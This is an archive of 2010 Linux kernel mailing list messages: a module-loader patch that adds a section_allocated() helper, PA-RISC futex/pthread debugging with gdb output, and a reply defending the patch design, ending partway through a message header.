>
> +static inline int section_allocated(Elf_Shdr hdr)
> +{
> + =C2=A0 =C2=A0 =C2=A0 return (hdr.sh_flags & SHF_ALLOC) && hdr.sh_si=
ze !=3D 0;
> +}
> +
> =C2=A0/* Find a module section: 0 means not found. */
> =C2=A0static unsigned int find_sec(Elf_Ehdr *hdr,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 Elf_Shdr *sechdrs,
> @@ -142,7 +147,7 @@ static unsigned int find_sec(Elf_Ehdr *hdr,
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0for (i =3D 1; i < hdr->e_shnum; i++)
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0/* Alloc bit c=
leared means "ignore it." */
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if ((sechdrs[i].sh=
_flags & SHF_ALLOC)
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (section_alloca=
ted(sechdrs[i])
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
&& strcmp(secstrings+sechdrs[i].sh_name, name) =3D=3D 0)
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0return i;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0return 0;
> @@ -1051,8 +1056,7 @@ static void add_sect_attrs(struct module *mod, =
unsigned int nsect,
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0/* Count loaded sections and allocate stru=
ctures */
> =C2=A0 =C2=A0 =C2=A0 =C2=A0for (i =3D 0; i < nsect; i++)
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (sechdrs[i].sh_=
flags & SHF_ALLOC
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 && s=
echdrs[i].sh_size)
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (section_alloca=
ted(sechdrs[i]))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0nloaded++;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0size[0] =3D ALIGN(sizeof(*sect_attrs)
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0+ nloaded * sizeof(sect_attrs->attrs[0]),
> @@ -1070,9 +1074,7 @@ static void add_sect_attrs(struct module *mod, =
unsigned int nsect,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0sattr =3D &sect_attrs->attrs[0];
> =C2=A0 =C2=A0 =C2=A0 =C2=A0gattr =3D &sect_attrs->grp.attrs[0];
> =C2=A0 =C2=A0 =C2=A0 =C2=A0for (i =3D 0; i < nsect; i++) {
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (! (sechdrs[i].=
sh_flags & SHF_ALLOC))
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 continue;
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!sechdrs[i].sh=
_size)
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!section_alloc=
ated(sechdrs[i]))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0continue;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0sattr->address=
 =3D sechdrs[i].sh_addr;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0sattr->name =3D=
 kstrdup(secstrings + sechdrs[i].sh_name,
> @@ -1156,7 +1158,7 @@ static void add_notes_attrs(struct module *mod,=
 unsigned int nsect,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0/* Count notes sections and allocate struc=
tures. =C2=A0*/
> =C2=A0 =C2=A0 =C2=A0 =C2=A0notes =3D 0;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0for (i =3D 0; i < nsect; i++)
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if ((sechdrs[i].sh=
_flags & SHF_ALLOC) &&
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (section_alloca=
ted(sechdrs[i]) &&
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
(sechdrs[i].sh_type =3D=3D SHT_NOTE))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0++notes;
>
> @@ -1172,7 +1174,7 @@ static void add_notes_attrs(struct module *mod,=
 unsigned int nsect,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0notes_attrs->notes =3D notes;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0nattr =3D &notes_attrs->attrs[0];
> =C2=A0 =C2=A0 =C2=A0 =C2=A0for (loaded =3D i =3D 0; i < nsect; ++i) {
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!(sechdrs[i].s=
h_flags & SHF_ALLOC))
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!section_alloc=
ated(sechdrs[i]))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0continue;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (sechdrs[i]=
=2Esh_type =3D=3D SHT_NOTE) {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0nattr->attr.name =3D mod->sect_attrs->attrs[loaded].name;
> @@ -1720,7 +1722,7 @@ static char elf_type(const Elf_Sym *sym,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0return '?';
> =C2=A0 =C2=A0 =C2=A0 =C2=A0if (sechdrs[sym->st_shndx].sh_flags & SHF_=
EXECINSTR)
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0return 't';
> - =C2=A0 =C2=A0 =C2=A0 if (sechdrs[sym->st_shndx].sh_flags & SHF_ALLO=
C
> + =C2=A0 =C2=A0 =C2=A0 if (section_allocated(sechdrs[sym->st_shndx])
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0&& sechdrs[sym->st_shndx].sh=
_type !=3D SHT_NOBITS) {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!(sechdrs[=
sym->st_shndx].sh_flags & SHF_WRITE))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0return 'r';
> @@ -1751,7 +1753,7 @@ static bool is_core_symbol(const Elf_Sym *src, =
const Elf_Shdr *sechdrs,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0return false;
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0sec =3D sechdrs + src->st_shndx;
> - =C2=A0 =C2=A0 =C2=A0 if (!(sec->sh_flags & SHF_ALLOC)
> + =C2=A0 =C2=A0 =C2=A0 if (!section_allocated(*sec)
> =C2=A0#ifndef CONFIG_KALLSYMS_ALL
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|| !(sec->sh_flags & SHF_EXE=
CINSTR)
> =C2=A0#endif
> @@ -1913,7 +1915,7 @@ static void kmemleak_load_module(struct module =
*mod, Elf_Ehdr *hdr,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0kmemleak_scan_area(mod, sizeof(struct modu=
le), GFP_KERNEL);
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0for (i =3D 1; i < hdr->e_shnum; i++) {
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!(sechdrs[i].s=
h_flags & SHF_ALLOC))
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!section_alloc=
ated(sechdrs[i]))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0continue;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (strncmp(se=
cstrings + sechdrs[i].sh_name, ".data", 5) !=3D 0
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
&& strncmp(secstrings + sechdrs[i].sh_name, ".bss", 4) !=3D 0)
> @@ -2139,7 +2141,7 @@ static noinline struct module *load_module(void=
 __user *umod,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0for (i =3D 0; i < hdr->e_shnum; i++) {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0void *dest;
>
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!(sechdrs[i].s=
h_flags & SHF_ALLOC))
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!section_alloc=
ated(sechdrs[i]))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0continue;
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (sechdrs[i]=
=2Esh_entsize & INIT_OFFSET_MASK)
> @@ -2287,7 +2289,7 @@ static noinline struct module *load_module(void=
 __user *umod,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0continue;
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0/* Don't bothe=
r with non-allocated sections */
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!(sechdrs[info=
].sh_flags & SHF_ALLOC))
> + =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (!section_alloc=
ated(sechdrs[info]))
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0continue;
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (sechdrs[i]=
=2Esh_type =3D=3D SHT_REL)
>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kerne=
l" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =C2=A0http://vger.kernel.org/majordomo-info.ht=
ml
> Please read the FAQ at =C2=A0http://www.tux.org/lkml/
>

From - Thu Nov 08 21:05:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 1 Jan 2010 03:49:10 +0000 (UTC)
Lines: 51
Approved: news@gmane.org
Message-ID: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca>
References: <4B3CF756.7050702@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262317750 1588 80.91.229.12 (1 Jan 2010 03:49:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Jan 2010 03:49:10 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 01 04:49:02 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQYVZ-0001Dl-6J
	for glpp-linux-parisc@lo.gmane.org; Fri, 01 Jan 2010 04:49:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751662Ab0AADtA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Dec 2009 22:49:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751721Ab0AADtA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Dec 2009 22:49:00 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4208 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751662Ab0AADs7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Dec 2009 22:48:59 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 80D264EA9; Thu, 31 Dec 2009 22:48:58 -0500 (EST)
Original-Date: Thu, 31 Dec 2009 22:48:57 -74900 (EST)
In-Reply-To: <4B3CF756.7050702@gmx.de> from "Helge Deller" at Dec 31, 2009 08:11:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2537
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2537>

> I tested the patch and the testcase in
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203
> still segfaults.

I think the expect/tcl bug and the bug 561203 are related.  Looking
at the minifail core dump, I see:

Core was generated by `./minifail'.
Program terminated with signal 11, Segmentation fault.
#0  0x00000000 in ?? ()

So, how did we get to 0?  $rp is 0, so we might have executed a
return to this location.  $r31 conains 0x4157cc4f.

(gdb) disass 0x4157cc3c 0x4157cc5c
Dump of assembler code from 0x4157cc3c to 0x4157cc5c:
0x4157cc3c <_IO_puts+332>:      copy rp,r25
0x4157cc40 <_IO_puts+336>:      copy r6,r24
0x4157cc44 <_IO_puts+340>:      be,l b0(sr2,r0),sr0,r31
0x4157cc48 <_IO_puts+344>:      ldi 0,r20
0x4157cc4c <_IO_puts+348>:      ldi -b,r24
0x4157cc50 <_IO_puts+352>:      cmpb,=,n r24,r21,0x4157cc38 <_IO_puts+328>
0x4157cc54 <_IO_puts+356>:      nop
0x4157cc58 <_IO_puts+360>:      ldi -2d,r25

So, it would see $r31 was last set by a call to the lws code.

(gdb) info thread
  2 Thread 2397  *__GI__IO_list_lock () at genops.c:1297
* 1 Thread 2398  0x00000000 in ?? ()

(gdb) thread 2
[Switching to thread 2 (Thread 2397)]#0  *__GI__IO_list_lock ()
    at genops.c:1297
1297    genops.c: No such file or directory.
        in genops.c
(gdb) bt
#0  *__GI__IO_list_lock () at genops.c:1297
#1  0x415c06d0 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/fork.c:117
#2  0x00011068 in pure_test () at minifail.cpp:55
#3  0x00011350 in main (argc=1, argv=0xc0497028) at minifail.cpp:80

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 1 Jan 2010 00:02:23 -0500 (EST)
Lines: 78
Approved: news@gmane.org
Message-ID: <20100101050224.469374EF1@hiauly1.hia.nrc.ca>
References: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262322159 7723 80.91.229.12 (1 Jan 2010 05:02:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Jan 2010 05:02:39 +0000 (UTC)
Cc: deller@gmx.de, carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 01 06:02:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQZee-0006kZ-Fj
	for glpp-linux-parisc@lo.gmane.org; Fri, 01 Jan 2010 06:02:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750706Ab0AAFC0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Jan 2010 00:02:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750713Ab0AAFC0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 Jan 2010 00:02:26 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4217 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750706Ab0AAFCZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Jan 2010 00:02:25 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 469374EF1; Fri,  1 Jan 2010 00:02:23 -0500 (EST)
In-Reply-To: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 31, 2009 10:48:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2538
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2538>

> Core was generated by `./minifail'.
> Program terminated with signal 11, Segmentation fault.
> #0  0x00000000 in ?? ()

I wasn't able to duplicate the above running minifail under gdb.
However, I did eventually get it to hang.

(gdb) info thread
  2 Thread 0x42169480 (LWP 3246)  0x40240760 in start_thread (arg=0x42169480)
    at pthread_create.c:293
* 1 Thread 0x400040c0 (LWP 3245)  0x40240c2c in pthread_join (
  threadid=1108776064, thread_return=0x0) at pthread_join.c:89
(gdb) bt
#0  0x40240c2c in pthread_join (threadid=1108776064, thread_return=0x0)
    at pthread_join.c:89
#1  0x00011118 in pure_test () at minifail.cpp:70
#2  0x00011350 in main (argc=1, argv=0xbffd3020) at minifail.cpp:80
(gdb) disass 0x40240c1c 0x40240c3c
Dump of assembler code from 0x40240c1c to 0x40240c3c:
0x40240c1c <pthread_join+268>:  copy r3,r26
0x40240c20 <pthread_join+272>:  copy r19,r4
0x40240c24 <pthread_join+276>:  be,l 100(sr2,r0),sr0,r31
0x40240c28 <pthread_join+280>:  ldi d2,r20
0x40240c2c <pthread_join+284>:  copy r4,r19
0x40240c30 <pthread_join+288>:  ldw 68(r5),r24
0x40240c34 <pthread_join+292>:  cmpib,<> 0,r24,0x40240c18 <pthread_join+264>
0x40240c38 <pthread_join+296>:  ldi 0,r23
End of assembler dump.

So, thread 1 is in a syscall.

(gdb) thread 2
[Switching to thread 2 (Thread 0x42169480 (LWP 3246))]#0  0x40240760 in start_thread (arg=0x42169480) at pthread_create.c:293
293     pthread_create.c: No such file or directory.
        in pthread_create.c
(gdb) bt
#0  0x40240760 in start_thread (arg=0x42169480) at pthread_create.c:293
#1  0x412082bc in clone () from /lib/libc.so.6
#2  0x00000000 in ?? ()
(gdb) disass 0x40240760 0x402407a0
Dump of assembler code from 0x40240754 to 0x402407a8:
0x40240754 <start_thread+1108>: ldw 214(ret0),rp
0x40240758 <start_thread+1112>: copy r3,r26
0x40240760 <start_thread+1120>: copy r4,r24
0x40240764 <start_thread+1124>: be,l b0(sr2,r0),sr0,r31
0x40240768 <start_thread+1128>: ldi 0,r20
0x4024076c <start_thread+1132>: ldi -b,r24
0x40240770 <start_thread+1136>: cmpb,=,n r24,r21,0x40240758 <start_thread+1112>
0x40240774 <start_thread+1140>: nop
0x40240778 <start_thread+1144>: ldi -2d,r25
0x4024077c <start_thread+1148>: cmpb,=,n r25,r21,0x40240758 <start_thread+1112>
0x40240780 <start_thread+1152>: nop
0x40240784 <start_thread+1156>: stw ret0,-1b8(sp)
0x40240788 <start_thread+1160>: sub r0,r21,r21
0x4024078c <start_thread+1164>: stw r21,-1b4(sp)
0x40240790 <start_thread+1168>: ldw -1b4(sp),ret1
0x40240794 <start_thread+1172>: cmpib,=,n e,ret1,0x40240804 <start_thread+1284>
0x40240798 <start_thread+1176>: ldw -1b4(sp),ret0
0x4024079c <start_thread+1180>: cmpb,=,n r5,ret0,0x40240804 <start_thread+1284>
0x402407a0 <start_thread+1184>: ldw -1b8(sp),ret0
0x402407a4 <start_thread+1188>: cmpb,<> ret0,rp,0x40240754 <start_thread+1108>

Thread 2 is in a loop calling the lws code.

(gdb) p/x $rp
$5 = 0x0
(gdb) p/x $ret0
$6 = 0x42169480

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.wireless.general,gmane.linux.ports.arm.omap
Subject: Re: regression: crash from 'ls /sys/modules/wl1251_spi/notes'
Date: Sat, 02 Jan 2010 10:34:22 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <1262450062.2741.4.camel@mulgrave.site>
References: <87k4w4wux9.fsf@purkki.valot.fi>
	 <1262188157.2749.21.camel@mulgrave.site>
	 <2375c9f90912311908r667966e1m919430c40cd9c571@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1262450079 9851 80.91.229.12 (2 Jan 2010 16:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Jan 2010 16:34:39 +0000 (UTC)
Cc: Kalle Valo <kalle.valo@iki.fi>, linux-kernel@vger.kernel.org,
	linux-wireless@vger.kernel.org, linux-omap@vger.kernel.org,
	Helge Deller <deller@gmx.de>, rusty@rustcorp.com.au,
	akpm@linux-foundation.org, roland@redhat.com,
	dave@hiauly1.hia.nrc.ca, Parisc List <linux-parisc@vger.kernel.org>
To: =?ISO-8859-1?Q?Am=E9rico?= Wang <xiyou.wangcong@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 02 17:34:30 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NR6vs-0001rN-V9
	for glpp-linux-parisc@lo.gmane.org; Sat, 02 Jan 2010 17:34:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752755Ab0ABQe3 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Jan 2010 11:34:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752757Ab0ABQe3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 Jan 2010 11:34:29 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38380 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752755Ab0ABQe2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Jan 2010 11:34:28 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A51898EE0DE;
	Sat,  2 Jan 2010 08:34:27 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7ZYefo4VwbG5; Sat,  2 Jan 2010 08:34:27 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A68888EE0DD;
	Sat,  2 Jan 2010 08:34:25 -0800 (PST)
In-Reply-To: <2375c9f90912311908r667966e1m919430c40cd9c571@mail.gmail.com>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2539 gmane.linux.kernel:933499 gmane.linux.kernel.wireless.general:45028 gmane.linux.ports.arm.omap:28970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2539>

On Fri, 2010-01-01 at 11:08 +0800, Am=C3=A9rico Wang wrote:
> This patch looks fine for me, except that I don't think it's necessar=
y
> to introduce an inline function for that...

Actually, I really think we do.  The whole reason we got into this mess
in the first place is that it wasn't obvious from the code that if we
altered the loadability of sections, there were a ton of dependent
places we also had to update.  Putting all that knowledge into a single
inline makes the same mistake impossible to make because there's now
only one place to go to adjust the loadability of sections, and it
automatically takes care of all the dependencies.

> Reviewed-by: WANG Cong <xiyou.wangcong@gmail.com>

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap
 areas
Date: Sun, 03 Jan 2010 08:27:58 +1100
Lines: 33
Approved: news@gmane.org
Message-ID: <1262467678.2173.244.camel@pasglop>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <20091224100853.GA3165@console-pimps.org>
	 <20091224123913.GD5335@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262467775 23732 80.91.229.12 (2 Jan 2010 21:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Jan 2010 21:29:35 +0000 (UTC)
Cc: Matt Fleming <matt@console-pimps.org>,
	James Bottomley <James.Bottomley@suse.de>,
	linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Jan 02 22:29:26 2010
